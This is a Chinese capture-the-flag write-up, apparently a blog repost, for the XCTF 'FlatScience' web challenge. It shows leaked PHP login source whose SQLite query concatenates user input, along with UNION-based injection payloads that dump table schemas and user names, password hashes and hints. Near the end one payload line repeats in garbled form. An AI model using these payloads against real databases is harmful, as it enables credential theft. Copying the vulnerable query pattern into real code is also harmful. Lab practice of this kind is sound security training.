当前位置: 首页 > news >正文

攻防世界38-FlatScience-CTFWeb

攻防世界38-FlatScience-Web

点开这个here看到一堆pdf,感觉没用,扫描一下

image-20241112213147892

试试弱口令先

image-20241112213254645

源码里有:

好吧0.0

试试存不存在sql注入

根本没回显,转战login.php先

输入1’,发现sql注入

image-20241112215625192

image-20241112215405748

看到提示

访问后得源码

<?php
ob_start();
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"><html>
<head>
<style>
blockquote { background: #eeeeee; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
</style><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Login</title>
</head>
<body><div align=right class=lastmod>
Last Modified: Fri Mar  31:33:7 UTC 1337
</div><h1>Login</h1>Login Page, do not try to hax here plox!<br><form method="post">ID:<br><input type="text" name="usr"><br>Password:<br> <input type="text" name="pw"><br><br><input type="submit" value="Submit">
</form><?php
if(isset($_POST['usr']) && isset($_POST['pw'])){$user = $_POST['usr'];$pass = $_POST['pw'];$db = new SQLite3('../fancy.db');$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");if($res){$row = $res->fetchArray();}else{echo "<br>Some Error occourred!";}if(isset($row['id'])){setcookie('name',' '.$row['name'], time() + 60, '/');header("Location: /");die();}}if(isset($_GET['debug']))
highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! --><hr noshade>
<address>Flux Horst (Flux dot Horst at rub dot flux)</address>
</body>

​ $db = new SQLite3(‘…/fancy.db’);提示是个sqlite注入

payload里注入

image-20241112221500703

返回在右上角

image-20241112221652101

usr=' union select 1,group_concat(tbl_name) from sqlite_master where type='table'--&pw= //查所有表
usr=' union select 1,group_concat(sql) from sqlite_master where tbl_name='Users'--&pw= //查表所有字段
//查所有内容
usr=' union select 1,group_concat(id) from Users--&pw=1
usr=' union select 1,group_concat(name) from Users--&pw=1
usr=' union select 1,group_concat(password) from Users--&pw=1
usr=' union select 1,group_concat(hint) from Users--&pw=

得到hint,下面做不动了

贴一个大佬的wp

oncat(password) from Users–&pw=1
usr=’ union select 1,group_concat(hint) from Users–&pw=


得到hint,下面做不动了贴一个大佬的wp[FlatScience XCTF web进阶区FlatScience详解-CSDN博客](https://blog.csdn.net/weixin_43693550/article/details/120241607?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-2-120241607-blog-112161044.235^v43^pc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-2-120241607-blog-112161044.235^v43^pc_blog_bottom_relevance_base4&utm_relevant_index=5)
http://www.lryc.cn/news/483028.html

相关文章:

  • 探索 JNI - Rust 与 Java 互调实战
  • 网络安全-Linux基础(bash脚本)
  • Lucene 和 Elasticsearch 中更好的二进制量化 (BBQ)
  • jmeter基础05_第1个http请求
  • C++builder中的人工智能(25):AI中的C++多线程std::thread
  • RestSharp基本使用方法
  • MySQL与Oracle对比及区别
  • NCC前端调用查询弹框
  • 【高中生讲机器学习】25. AdaBoost 算法详解+推导来啦!
  • 第三十七章 Vue之编程式导航及跳转传参
  • vue 版本升级
  • 探索Copier:Python项目模板的革命者
  • 云原生后端深度解析
  • 本地 SSL 证书生成神器,自己创建SSL
  • HCIP-快速生成树RSTP
  • 企业级RAG(检索增强生成)系统构建研究
  • MATLAB基础应用精讲-【数模应用】Google Caffeine算法
  • 第十九届中国国际中小企业博览会将在粤开展
  • 云计算在智能交通系统中的应用
  • b4tman / docker-squid 可快速安装运行的、容器型代理服务器 + podman
  • 脉冲神经网络(Spiking Neural Network,SNN)学习(1)
  • 【疑难杂症】电脑休眠后无法开机,进入 steamVR 时电脑突然黑屏关机
  • HTML文件中引入jQuery的库文件
  • IntelliJ IDEA超详细下载安装教程(附安装包)
  • MySQL技巧之跨服务器数据查询:基础篇-更新语句如何写
  • 期权懂|期权新手入门教学:期权合约有哪些要素?
  • 腾讯云nginx SSL证书配置
  • 重新认识HTTPS
  • 应用于新能源汽车NCV4275CDT50RKG车规级LDO线性电压调节器芯片
  • GitLab 中文发行版最新版重点功能解读